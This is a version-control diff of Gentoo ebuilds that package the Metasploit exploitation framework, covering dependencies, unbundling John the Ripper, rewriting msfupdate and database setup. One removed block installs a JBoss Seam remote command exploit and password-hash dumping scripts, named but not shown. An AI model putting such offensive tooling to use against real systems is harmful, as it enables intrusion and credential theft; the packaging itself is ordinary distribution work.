dosym /usr/share/doc/${PF}/documentation /usr/$(get_libdir)/${PN}${SLOT}/documentation
#handled by eselect-metasploit now
#dodir /usr/bin/
#for file in msf*; do
# dosym /usr/$(get_libdir)/${PN}${SLOT}/${file} /usr/bin/${file}
#done
newinitd "${FILESDIR}"/msfrpcd.initd msfrpcd${SLOT}
newconfd "${FILESDIR}"/msfrpcd.confd msfrpcd${SLOT}
# Avoid useless revdep-rebuild trigger #377617
dodir /etc/revdep-rebuild/
echo "SEARCH_DIRS_MASK=\"/usr/lib*/${PN}${SLOT}/data/john\"" > \
"${ED}"/etc/revdep-rebuild/70-${PN}${SLOT}
if use armitage; then
# echo -e "#!/bin/sh \n\nexport MSF_DATABASE_CONFIG=/usr/$(get_libdir)/${PN}${SLOT}/armitage.yml\n" > armitage
# echo -e "java -Xmx256m -jar /usr/$(get_libdir)/${PN}${SLOT}/data/armitage/armitage.jar \$* &\n" >> armitage
# dobin armitage
insinto /usr/$(get_libdir)/${PN}${SLOT}/
doins "${FILESDIR}"/armitage.yml
fi
# if use pcaprub; then
# cd "${S}"/external/pcaprub
# emake DESTDIR="${ED}" install
# fi
if use lorcon; then
cd "${S}"/external/ruby-lorcon
emake DESTDIR="${ED}" install
fi
if use lorcon2; then
cd "${S}"/external/ruby-lorcon2
emake DESTDIR="${ED}" install
fi
if use serialport; then
cd "${S}"/external/serialport
emake DESTDIR="${ED}" install
fi
#unbundle johntheripper, it makes me sick to have to do this...
rm -rf "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/data/john/run.*
dodir /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any
for i in $(ls -1 "${ROOT}"/etc/john); do
dosym /etc/john/${i} /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any/${i}
done
dosym /usr/sbin/unique /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any/unique
dosym /usr/sbin/john /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any/john
dosym /usr/sbin/unafs /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any/unafs
dosym /usr/sbin/genmkvpwd /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any/genmkvpwd
dosym /usr/sbin/john-mailer /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any/john-mailer
dosym /usr/sbin/undrop /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any/undrop
dosym /usr/sbin/unshadow /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any/unshadow
dosym /usr/sbin/tgtsnarf /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any/tgtsnarf
dosym /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x64.mmx
dosym /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.mmx
dosym /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.sse2
#unbundle the key ruby gems and the ones which install binaries so we don't have to allow (more) QA violations
rm -rf "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/lib/gemcache/ruby/1.9.1/arch
rm -rf "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/lib/gemcache/ruby/1.9.1/arch-old
rm -rf "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/lib/gemcache/ruby/1.9.1/specifications/activerecord-*.gemspec
rm -rf "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/lib/gemcache/ruby/1.9.1/specifications/msgpack-*.gemspec
rm -rf "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/lib/gemcache/ruby/1.9.1/specifications/json-*.gemspec
rm -rf "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/lib/gemcache/ruby/1.9.1/specifications/nokogiri-*.gemspec
rm -rf "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/lib/gemcache/ruby/1.9.1/specifications/pg-*.gemspec
rm -rf "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/lib/gemcache/ruby/1.9.1/gems/activerecord*
rm -rf "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/lib/gemcache/ruby/1.9.1/gems/msgpack*
#force to use the outdated bundled version of metasm
doenvd "${FILESDIR}"/91metasploit-${SLOT}
#while we are commiting fixes for filth, let's bogart msfupdate
echo "#!/bin/sh" > "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/msfupdate
echo "echo \"[*]\"" >> "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/msfupdate
echo "echo \"[*] Attempting to update the Metasploit Framework...\"" >> "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/msfupdate
echo "echo \"[*]\"" >> "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/msfupdate
echo "echo \"\"" >> "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/msfupdate
echo "ESVN_REVISION=HEAD emerge --oneshot \"=${CATEGORY}/${PF}\"" >> "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/msfupdate
use gui && make_desktop_entry msfgui${SLOT} \
"Metasploit Framework" \
metasploit \
'GNOME;System;Network;' &&
doicon "${FILESDIR}"/metasploit.icon
}
pkg_postinst() {
if use postgres; then
elog "You need to prepare the database as described on the following page:"
elog "https://community.rapid7.com/docs/DOC-1268"
fi
"${EROOT}"/usr/bin/eselect metasploit set --use-old ${PN}${SLOT}
elog
elog "To switch between installed slots, execute as root:"
elog " # eselect metasploit set [slot number]"
elog
elog "Adjust /usr/lib/${PN}/armitage.yml and /etc/conf.d/msfrpcd${PV} files if necessary"
elog "You might need to run env-update and relogin"
elog
}

View file

@ -1,212 +0,0 @@
# Copyright 1999-2012 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# $Header: /var/cvsroot/gentoo-x86/net-analyzer/metasploit/metasploit-4.3.0.ebuild,v 1.2 2012/06/08 09:28:04 patrick Exp $
EAPI="4"
inherit eutils
MY_P=${PN/metasploit/framework}-${PV}
MTSLPT_REV=${BASH_REMATCH[2]}
SRC_URI="http://downloads.metasploit.com/data/releases/framework-${PV}.tar.bz2"
#https://dev.metasploit.com/redmine/attachments/download/906/vbsmem-1.2.1.patch
# https://dev.metasploit.com/redmine/attachments/1200/jboss_seam_remote_command_rb"
DESCRIPTION="Advanced open-source framework for developing, testing, and using vulnerability exploit code"
HOMEPAGE="http://www.metasploit.org/"
SLOT="4.4"
LICENSE="BSD"
KEYWORDS="~amd64 ~arm ~x86"
IUSE="+armitage gui lorcon lorcon2 +postgres serialport"
REQUIRED_USE="armitage? ( postgres )"
# Note we use bundled gems (see data/msfweb/vendor/rails/) as upstream voted for
# such solution, bug #247787
RDEPEND="dev-lang/ruby[ssl]
dev-ruby/rubygems
app-admin/eselect-metasploit
>=app-crypt/johntheripper-1.7.9-r1[-minimal]
!arm? ( dev-ruby/hpricot
gui? ( virtual/jre )
dev-ruby/rjb
>=dev-ruby/msgpack-0.4.6
>=dev-ruby/json-1.6.6
>=dev-ruby/nokogiri-1.5.2 )
postgres? ( dev-db/postgresql-server
!arm? ( >=dev-ruby/pg-0.13.2
>=dev-ruby/activerecord-3.2.2[postgres] ) )
armitage? ( net-analyzer/nmap )
lorcon? ( net-wireless/lorcon-old )
lorcon2? ( net-wireless/lorcon )"
DEPEND=""
RESTRICT="strip"
QA_EXECSTACK="
usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/msflinker_linux_x86.bin"
QA_WX_LOAD="
usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_*_linux.bin"
QA_PREBUILT="
usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_sniffer.lso
usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_networkpug.lso
usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_stdapi.lso
usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_solaris.bin
usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_bsd.bin"
S=${WORKDIR}/msf3
src_prepare() {
rm "${S}"/msfupdate
use gui || rm msfgui
}
src_compile() {
# if use pcaprub; then
# cd "${S}"/external/pcaprub
# ruby extconf.rb
# emake
# fi
# if use kissfft; then
# cd "${S}"/external/ruby-kissfft
# ruby extconf.rb
# emake
# fi
if use lorcon; then
cd "${S}"/external/ruby-lorcon
ruby extconf.rb
emake
fi
if use lorcon2; then
cd "${S}"/external/ruby-lorcon2
ruby extconf.rb
emake
fi
if use serialport; then
cd "${S}"/external/serialport
ruby extconf.rb
emake
fi
}
src_install() {
# should be as simple as copying everything into the target...
dodir /usr/$(get_libdir)/${PN}${SLOT}
cp -R "${S}"/* "${ED}"/usr/$(get_libdir)/${PN}${SLOT} || die "Copy files failed"
rm -Rf "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/documentation "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/README.md "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/THIRD-PARTY.md || die
fowners -R root:0 /
# do not remove LICENSE, bug #238137
dodir /usr/share/doc/${PF}
cp -R "${S}"/{documentation,README.md,THIRD-PARTY.md} "${ED}"/usr/share/doc/${PF} || die
dosym /usr/share/doc/${PF}/documentation /usr/$(get_libdir)/${PN}${SLOT}/documentation
#handled by metasploit eselect now
#dodir /usr/bin/
#for file in msf*; do
# dosym /usr/$(get_libdir)/${PN}${SLOT}/${file} /usr/bin/${file}
#done
newinitd "${FILESDIR}"/msfrpcd.initd msfrpcd${SLOT}
newconfd "${FILESDIR}"/msfrpcd.confd msfrpcd${SLOT}
# Avoid useless revdep-rebuild trigger #377617
dodir /etc/revdep-rebuild/
echo "SEARCH_DIRS_MASK=\"/usr/lib*/${PN}${SLOT}/data/john\"" > \
"${ED}"/etc/revdep-rebuild/70-${PN}${SLOT}
if use armitage; then
# echo -e "#!/bin/sh \n\nexport MSF_DATABASE_CONFIG=/usr/$(get_libdir)/${PN}${SLOT}/armitage.yml\n" > armitage
# echo -e "java -Xmx256m -jar /usr/$(get_libdir)/${PN}${SLOT}/data/armitage/armitage.jar \$* &\n" >> armitage
# dobin armitage
insinto /usr/$(get_libdir)/${PN}${SLOT}/
doins "${FILESDIR}"/armitage.yml
fi
# if use pcaprub; then
# cd "${S}"/external/pcaprub
# emake DESTDIR="${ED}" install
# fi
if use lorcon; then
cd "${S}"/external/ruby-lorcon
emake DESTDIR="${ED}" install
fi
if use lorcon2; then
cd "${S}"/external/ruby-lorcon2
emake DESTDIR="${ED}" install
fi
# if use kissfft; then
# cd "${S}"/external/ruby-kissfft
# emake DESTDIR="${ED}" install
# fi
if use serialport; then
cd "${S}"/external/serialport
emake DESTDIR="${ED}" install
fi
#unbundle johntheripper, it makes me sick to have to do this...
rm -rf "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/data/john/run.*
dodir /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any
for i in $(ls -1 "${ROOT}"/etc/john); do
dosym /etc/john/${i} /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any/${i}
done
dosym /usr/sbin/unique /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any/unique
dosym /usr/sbin/john /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any/john
dosym /usr/sbin/unafs /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any/unafs
dosym /usr/sbin/genmkvpwd /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any/genmkvpwd
dosym /usr/sbin/john-mailer /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any/john-mailer
dosym /usr/sbin/undrop /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any/undrop
dosym /usr/sbin/unshadow /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any/unshadow
dosym /usr/sbin/tgtsnarf /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any/tgtsnarf
dosym /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x64.mmx
dosym /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.mmx
dosym /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.any /usr/$(get_libdir)/${PN}${SLOT}/data/john/run.linux.x86.sse2
#unbundle the key ruby gems and the ones which install binaries so we don't have to allow (more) QA violations
rm -rf "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/lib/gemcache/ruby/1.9.1/arch
rm -rf "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/lib/gemcache/ruby/1.9.1/arch-old
rm -rf "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/lib/gemcache/ruby/1.9.1/specifications/activerecord-*.gemspec
rm -rf "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/lib/gemcache/ruby/1.9.1/specifications/msgpack-*.gemspec
rm -rf "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/lib/gemcache/ruby/1.9.1/specifications/json-*.gemspec
rm -rf "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/lib/gemcache/ruby/1.9.1/specifications/nokogiri-*.gemspec
rm -rf "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/lib/gemcache/ruby/1.9.1/specifications/pg-*.gemspec
rm -rf "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/lib/gemcache/ruby/1.9.1/gems/activerecord*
rm -rf "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/lib/gemcache/ruby/1.9.1/gems/msgpack*
#force to use the outdated bundled version of metasm
doenvd "${FILESDIR}"/91metasploit-${SLOT}
#while we are commiting fixes for filth, let's bogart msfupdate
echo "#!/bin/sh" > "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/msfupdate
echo "echo \"[*]\"" >> "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/msfupdate
echo "echo \"[*] Attempting to update the Metasploit Framework...\"" >> "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/msfupdate
echo "echo \"[*]\"" >> "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/msfupdate
echo "echo \"\"" >> "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/msfupdate
echo "ESVN_REVISION=HEAD emerge --oneshot \"=${CATEGORY}/${PF}\"" >> "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/msfupdate
use gui && make_desktop_entry msfgui${SLOT} \
"Metasploit Framework" \
metasploit \
'GNOME;System;Network;' &&
doicon "${FILESDIR}"/metasploit.icon
}
pkg_postinst() {
"${EROOT}"/usr/bin/eselect metasploit set --use-old ${PN}${SLOT}
if use postgres; then
elog "You need to prepare the database as described on the following page:"
elog "https://community.rapid7.com/docs/DOC-1268"
fi
elog
elog "To switch between installed slots, execute as root:"
elog " # eselect metasploit set [slot number]"
elog
elog "Adjust /usr/lib/${PN}/armitage.yml and /etc/conf.d/msfrpcd${PV} files if necessary"
elog "You might need to run env-update and relogin"
elog
}

View file

@ -0,0 +1,194 @@
# Copyright 1999-2013 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# $Header: $
EAPI="5"
inherit eutils
MY_P=${PN/metasploit/framework}-${PV}
if [[ ${PV} == "9999" ]] ; then
EGIT_REPO_URI="https://github.com/rapid7/metasploit-framework.git"
inherit git-2
KEYWORDS=""
else
#https://github.com/rapid7/metasploit-framework/wiki/Downloads-by-Version
SRC_URI="http://downloads.metasploit.com/data/releases/archive/framework-${PV}.tar.bz2"
KEYWORDS="~amd64 ~arm ~x86"
fi
DESCRIPTION="Advanced open-source framework for developing, testing, and using vulnerability exploit code"
HOMEPAGE="http://www.metasploit.org/"
SLOT="4.6"
LICENSE="BSD"
IUSE="gui +java lorcon +pcaprub serialport test"
DEPEND="lorcon? ( net-wireless/lorcon[ruby] )"
RDEPEND="${DEPEND}
dev-db/postgresql-server
dev-lang/ruby[ssl]
>=dev-ruby/activesupport-3.0.0
>=dev-ruby/activerecord-3.2.11
dev-ruby/json
=dev-ruby/metasploit_data_models-0.6.4
dev-ruby/msgpack
dev-ruby/nokogiri
dev-ruby/builder:3
>=dev-ruby/pg-0.11
dev-ruby/robots
dev-ruby/kissfft
>=app-admin/eselect-metasploit-0.10
>=app-crypt/johntheripper-1.7.9-r1[-minimal]
net-analyzer/nmap
gui? ( virtual/jre )
java? ( dev-ruby/rjb )
pcaprub? ( net-libs/libpcap )
test? ( dev-ruby/bundler )"
RESTRICT="strip"
QA_PREBUILT="
usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_linux.bin
usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_armle_linux.bin
usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_solaris.bin
usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x64_linux.bin
usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_bsd.bin
usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_mipsbe_linux.bin
usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_mipsle_linux.bin
usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/msflinker_linux_x86.bin
usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_sniffer.lso
usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_networkpug.lso
usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_stdapi.lso
usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_linux.bin
usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_armle_linux.bin
usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_solaris.bin
usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x64_linux.bin
usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_bsd.bin
usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/msflinker_linux_x86.bin
usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_sniffer.lso
usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_networkpug.lso
usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_stdapi.lso
"
S=${WORKDIR}/${MY_P}
src_prepare() {
#so much cruft is bundled with msf that we will fix it in src_prepare to make intentions more clear
#stop asking about bloody bundler
sed -i "/require 'bundler\/setup'/d" lib/msfenv.rb
#unbundle johntheripper, at least it now defaults to running the system version
rm -rf "${S}"/data/john/run.*
rm -rf "${S}"/data/john/src.tar.bz2
#remove random "cpuinfo" binaries which a only needed to detect which bundled john to run
rm -rf "${S}"/data/cpuinfo/*
#remove random included sources
rm -rf "${S}"/external/source
#remove unused "external" modules
rm -rf "${S}"/external/ruby-kissfft
rm -rf "${S}"/external/ruby-lorcon
rm -rf "${S}"/external/ruby-lorcon2
#they removed bundled armitage from releases so let's just keep it external
rm -rf "${S}"/data/armitage
#whiles we are commiting fixes for filth, let's bogart msfupdate
rm "${S}"/msfupdate
echo "#!/bin/sh" > "${S}"/msfupdate
echo "echo \"[*]\"" >> "${S}"/msfupdate
echo "echo \"[*] Attempting to update the Metasploit Framework...\"" >> "${S}"/msfupdate
echo "echo \"[*]\"" >> "${S}"/msfupdate
echo "echo \"\"" >> "${S}"/msfupdate
if [[ ${PV} == "9999" ]] ; then
echo "ESVN_REVISION=HEAD emerge --oneshot \"=${CATEGORY}/${PF}\"" >> "${S}"/msfupdate
else
echo "echo \"Unable to update tagged version of metasploit. If you want the latest please use live version.\"" >> "${S}"/msfupdate
echo "echo \"emerge metasploit:9999 -vat\"" >> "${S}"/msfupdate
fi
#this is set executable in src_install
}
src_compile() {
if use pcaprub; then
cd "${S}"/external/pcaprub
ruby extconf.rb
emake
fi
if use serialport; then
cd "${S}"/external/serialport
ruby extconf.rb
emake
fi
}
src_install() {
#if ! use test; then
#remove unneeded testing stuff
rm -rf "${S}"/spec
rm -rf "${S}"/test
#remove unneeded ruby bundler versioning files
rm -f "${S}"/Gemfile
rm -f "${S}"/Gemfile.lock
#fi
# should be as simple as copying everything into the target...
dodir /usr/$(get_libdir)/${PN}${SLOT}
cp -R "${S}"/* "${ED}"/usr/$(get_libdir)/${PN}${SLOT} || die "Copy files failed"
rm -Rf "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/documentation "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/README.md
fowners -R root:0 /
# do not remove LICENSE, bug #238137
dodir /usr/share/doc/${PF}
cp -R "${S}"/{documentation,README.md} "${ED}"/usr/share/doc/${PF} || die
dosym /usr/share/doc/${PF}/documentation /usr/$(get_libdir)/${PN}${SLOT}/documentation
#install our database.yml file
insinto /usr/$(get_libdir)/${PN}${SLOT}/config/
doins "${FILESDIR}"/database.yml
if use pcaprub; then
cd "${S}"/external/pcaprub
emake DESTDIR="${ED}" install
fi
if use serialport; then
cd "${S}"/external/serialport
emake DESTDIR="${ED}" install
fi
fperms +x /usr/$(get_libdir)/${PN}${SLOT}/msfupdate
if use gui; then
make_desktop_entry msfgui${SLOT} "Metasploit Framework" metasploit 'GNOME;System;Network;'
doicon "${FILESDIR}"/metasploit.icon
else
rm "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/msfgui
fi
}
pkg_postinst() {
elog "You need to prepare the database by running:"
elog "emerge --config postgresql-server"
elog "/etc/init.d/postgresql-<version> start"
elog "emerge --config =metasploit-${PV}"
"${EROOT}"/usr/bin/eselect metasploit set --use-old ${PN}${SLOT}
einfo
elog "Adjust /usr/lib/${PN}${SLOT}/config/database.yml and /etc/conf.d/msfrpcd${PV} files if necessary"
elog "You might need to run env-update and relogin"
}
pkg_config() {
einfo "If the following fails, it is likely because you forgot to start/config postgresql first"
su postgres -c "createuser msf_user -D -S -R"
su postgres -c "createdb --owner=msf_user msf_database"
}
#doesn't work yet but maybe soon?
#src_test() {
# bundle check || die "Dependency issue"
#}

View file

@ -1,46 +1,49 @@
# Copyright 1999-2013 Gentoo Foundation
# Distributed under the terms of the GNU General Public License v2
# $Header: /var/cvsroot/gentoo-x86/net-analyzer/metasploit/metasploit-3.1_p5699-r1.ebuild,v 1.3 2008/11/09 14:52:13 nixnut Exp $
# $Header: $
EAPI="5"
inherit eutils git-2
inherit eutils
MY_P=${PN/metasploit/framework}-${PV}
EGIT_REPO_URI="https://github.com/rapid7/metasploit-framework.git"
SRC_URI="https://dev.metasploit.com/redmine/attachments/download/906/vbsmem-1.2.1.patch
https://dev.metasploit.com/redmine/attachments/1200/jboss_seam_remote_command_rb"
if [[ ${PV} == "9999" ]] ; then
EGIT_REPO_URI="https://github.com/rapid7/metasploit-framework.git"
inherit git-2
KEYWORDS=""
else
#https://github.com/rapid7/metasploit-framework/wiki/Downloads-by-Version
SRC_URI="http://downloads.metasploit.com/data/releases/archive/framework-${PV}.tar.bz2"
KEYWORDS="~amd64 ~arm ~x86"
fi
DESCRIPTION="Advanced open-source framework for developing, testing, and using vulnerability exploit code"
HOMEPAGE="http://www.metasploit.org/"
SLOT="9999"
LICENSE="BSD"
KEYWORDS="~amd64 ~arm ~x86"
IUSE="+armitage +java gui unstable lorcon +pcaprub serialport"
IUSE="gui +java lorcon +pcaprub serialport test"
#Note: we no longer use bundled gems.
RDEPEND="dev-lang/ruby[ssl]
DEPEND="lorcon? ( net-wireless/lorcon[ruby] )"
RDEPEND="${DEPEND}
dev-db/postgresql-server
dev-lang/ruby[ssl]
>=dev-ruby/activesupport-3.0.0
>=dev-ruby/activerecord-3.2.11
dev-ruby/json
=dev-ruby/metasploit_data_models-0.6.4
=dev-ruby/metasploit_data_models-0.6.14
dev-ruby/msgpack
dev-ruby/nokogiri
dev-ruby/builder:3
>=dev-ruby/pg-0.11
dev-ruby/robots
dev-ruby/kissfft
app-admin/eselect-metasploit
>=app-admin/eselect-metasploit-0.10
>=app-crypt/johntheripper-1.7.9-r1[-minimal]
!arm? ( gui? ( virtual/jre )
java? ( dev-ruby/rjb ) )
dev-db/postgresql-server
net-analyzer/nmap
gui? ( virtual/jre )
java? ( dev-ruby/rjb )
pcaprub? ( net-libs/libpcap )
armitage? ( net-analyzer/nmap
virtual/jre )
lorcon? ( net-wireless/lorcon[ruby] )"
DEPEND=""
test? ( dev-ruby/bundler )"
RESTRICT="strip"
@ -89,15 +92,8 @@ src_prepare() {
rm -rf "${S}"/external/ruby-lorcon
rm -rf "${S}"/external/ruby-lorcon2
#remove unneeded developmentish stuff
rm -rf "${S}"/spec
rm -rf "${S}"/test
#unbundle the ruby gems, we now use system gems
rm -rf "${S}"/lib/gemcache/
rm -rf "${S}"/Gemfile
rm -rf "${S}"/Gemfile.lock
rm -rf "${S}"/Rakefile
#they removed bundled armitage from releases so let's just keep it external
rm -rf "${S}"/data/armitage
#whiles we are commiting fixes for filth, let's bogart msfupdate
rm "${S}"/msfupdate
@ -106,9 +102,15 @@ src_prepare() {
echo "echo \"[*] Attempting to update the Metasploit Framework...\"" >> "${S}"/msfupdate
echo "echo \"[*]\"" >> "${S}"/msfupdate
echo "echo \"\"" >> "${S}"/msfupdate
echo "ESVN_REVISION=HEAD emerge --oneshot \"=${CATEGORY}/${PF}\"" >> "${S}"/msfupdate
if [[ ${PV} == "9999" ]] ; then
echo "ESVN_REVISION=HEAD emerge --oneshot \"=${CATEGORY}/${PF}\"" >> "${S}"/msfupdate
else
echo "echo \"Unable to update tagged version of metasploit. If you want the latest please use live version.\"" >> "${S}"/msfupdate
echo "echo \"emerge metasploit:9999 -vat\"" >> "${S}"/msfupdate
fi
#this is set executable in src_install
}
src_compile() {
if use pcaprub; then
cd "${S}"/external/pcaprub
@ -123,6 +125,16 @@ src_compile() {
}
src_install() {
#if ! use test; then
#remove unneeded testing stuff
rm -rf "${S}"/spec
rm -rf "${S}"/test
#remove unneeded ruby bundler versioning files
rm -f "${S}"/Gemfile
rm -f "${S}"/Gemfile.lock
#fi
# should be as simple as copying everything into the target...
dodir /usr/$(get_libdir)/${PN}${SLOT}
cp -R "${S}"/* "${ED}"/usr/$(get_libdir)/${PN}${SLOT} || die "Copy files failed"
@ -134,28 +146,9 @@ src_install() {
cp -R "${S}"/{documentation,README.md} "${ED}"/usr/share/doc/${PF} || die
dosym /usr/share/doc/${PF}/documentation /usr/$(get_libdir)/${PN}${SLOT}/documentation
newinitd "${FILESDIR}"/msfrpcd.initd msfrpcd${SLOT}
newconfd "${FILESDIR}"/msfrpcd.confd msfrpcd${SLOT}
if use armitage; then
insinto /usr/$(get_libdir)/${PN}${SLOT}/
doins "${FILESDIR}"/armitage.yml
fi
#Add new modules from metasploit bug report system not in the main tree yet
if use unstable; then
#smart hasdump from http://www.darkoperator.com/blog/2011/5/19/metasploit-post-module-smart_hashdump.html
#https://github.com/darkoperator/Meterpreter-Scripts
cp "${FILESDIR}"/smart_hasdump_script_6ac6c1d.rb "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/scripts/meterpreter/smart_hasdump.rb || die "Copy files failed"
cp "${FILESDIR}"/hashdump2_script_6ac6c1d.rb "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/scripts/meterpreter/hashdump2.rb || die "Copy files failed"
#JBoss remote command execution exploit
#https://dev.metasploit.com/redmine/issues/4585
cp "${DISTDIR}"/jboss_seam_remote_command_rb "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/modules/exploits/multi/http/jboss_seam_remote_command.rb || die "Copy files failed"
fi
#fi unstable
#install our database.yml file
insinto /usr/$(get_libdir)/${PN}${SLOT}/config/
doins "${FILESDIR}"/database.yml
if use pcaprub; then
cd "${S}"/external/pcaprub
@ -166,9 +159,6 @@ src_install() {
emake DESTDIR="${ED}" install
fi
#force to use the outdated bundled version of metasm
doenvd "${FILESDIR}"/91metasploit-${SLOT}
fperms +x /usr/$(get_libdir)/${PN}${SLOT}/msfupdate
if use gui; then
@ -187,11 +177,8 @@ pkg_postinst() {
"${EROOT}"/usr/bin/eselect metasploit set --use-old ${PN}${SLOT}
elog
elog "To switch between installed slots, execute as root:"
elog " # eselect metasploit set [slot number]"
elog
elog "Adjust /usr/lib/${PN}/armitage.yml and /etc/conf.d/msfrpcd${PV} files if necessary"
einfo
elog "Adjust /usr/lib/${PN}${SLOT}/config/database.yml and /etc/conf.d/msfrpcd${PV} files if necessary"
elog "You might need to run env-update and relogin"
}
@ -200,3 +187,8 @@ pkg_config() {
su postgres -c "createuser msf_user -D -S -R"
su postgres -c "createdb --owner=msf_user msf_database"
}
#doesn't work yet but maybe soon?
#src_test() {
# bundle check || die "Dependency issue"
#}

View file

@ -28,7 +28,7 @@ dev-ruby/builder:3
~dev-ruby/rake-compiler-0.8.1
~dev-ruby/rexical-1.0.5
~dev-ruby/rake-0.9.2.2
~dev-ruby/metasploit_data_models-0.6.4
~dev-ruby/metasploit_data_models-0.6.14
dev-ruby/robots
#wpscan

View file

@ -4,8 +4,9 @@ net-analyzer/packit
=net-analyzer/wapiti-9999 **
=net-analyzer/waffit-9999
=net-analyzer/wafp-9999
net-analyzer/metasploit:9999
net-analyzer/metasploit:4.4
net-analyzer/metasploit:9999 **
net-analyzer/metasploit:4.6.0
net-analyzer/armitage
=net-analyzer/wpscan-9999 **
=net-analyzer/blindelephant-9999 **